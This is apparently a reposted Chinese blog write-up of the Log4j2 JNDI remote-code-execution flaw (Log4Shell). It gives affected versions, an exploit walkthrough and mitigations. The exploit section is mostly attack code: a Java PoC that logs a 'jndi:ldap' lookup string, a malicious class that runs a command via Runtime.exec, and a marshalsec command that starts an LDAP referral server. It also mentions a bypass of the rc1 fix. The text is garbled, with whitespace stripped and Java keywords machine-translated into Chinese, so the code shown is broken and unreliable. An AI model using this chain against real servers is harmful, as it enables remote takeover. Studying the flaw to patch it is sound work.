来源:blog.csdn.net/qq_40989258/article/details/1218623630x00简介ApacheLog4j2是一个开源的Java日志框架,广泛应用于中间件、开发框架和Web应用。0x01漏洞概述该漏洞是由于ApacheLog4j2部分函数的递归解析功能导致的。未经身份验证的攻击者可以通过发送特定的恶意数据包在目标服务器上执行任意代码。0x02影响范围ApacheLog4j2.x<=2.15.0-rc10x03环境搭建新建maven工程,导入Log4j依赖包org.apache.logging.log4jlog4j-core2.14.10x04exploit1.使用POC测试importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;classLogTest{publicstaticfinalLoggerlogger=LogManager.getLogger();publicstaticvoidmain(String[]args){logger.error("${jndi:ldap://localhost:8888/Exploit}");}}2。编译恶意类Exploit.class首先新建一个exp.java,然后编译成class文件classExploit{static{System.err.println("Pwned");尝试{Stringcmds="calc";Runtime.getRuntime().exec(cmds);}catch(异常e){e.printStackTrace();}}}javacexp.java3,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本地启动LDAP服务java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer"http://127.0.0.1:7777/#Exploit"88884,运行poc.java,可以访问恶意类并执行里面写的“calc”命令,结合其他一些StrLookup适当变形,配合官方测试用例Dirtydata"?Type=AType&Name=1100110&Char=!"可以绕过rc1,RC2版本已经捕获到这个异常https://github.com/apache/log...0x05修复方法目前Apache官方已经发布了新版本,已经修复。建议用户尽快自查并升级到最新版本:https://github.com/apache/log...建议采取以下临时措施来防??范漏洞:1)添加jvm启动参数——Dlog4j2.formatMsgNoLookups=true;2)在applicationclasspath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;3)JDK使用11.0.1、8u191、7u201、6u211及以上的更高版本;4)部署使用第三方防火墙产品进行安全保护。近期热点文章推荐:1.1000+Java面试题及答案(2021最新版)2.厉害了!Java协程来了。..3.最新!重发版Log4j2.x官方解决了核弹级漏洞,又要熬夜了。..4、SpringBoot2.6正式发布,一大波新特性。.5.《Java开发手册(嵩山版)》最新发布,赶快下载吧!感觉不错,别忘了点赞+转发!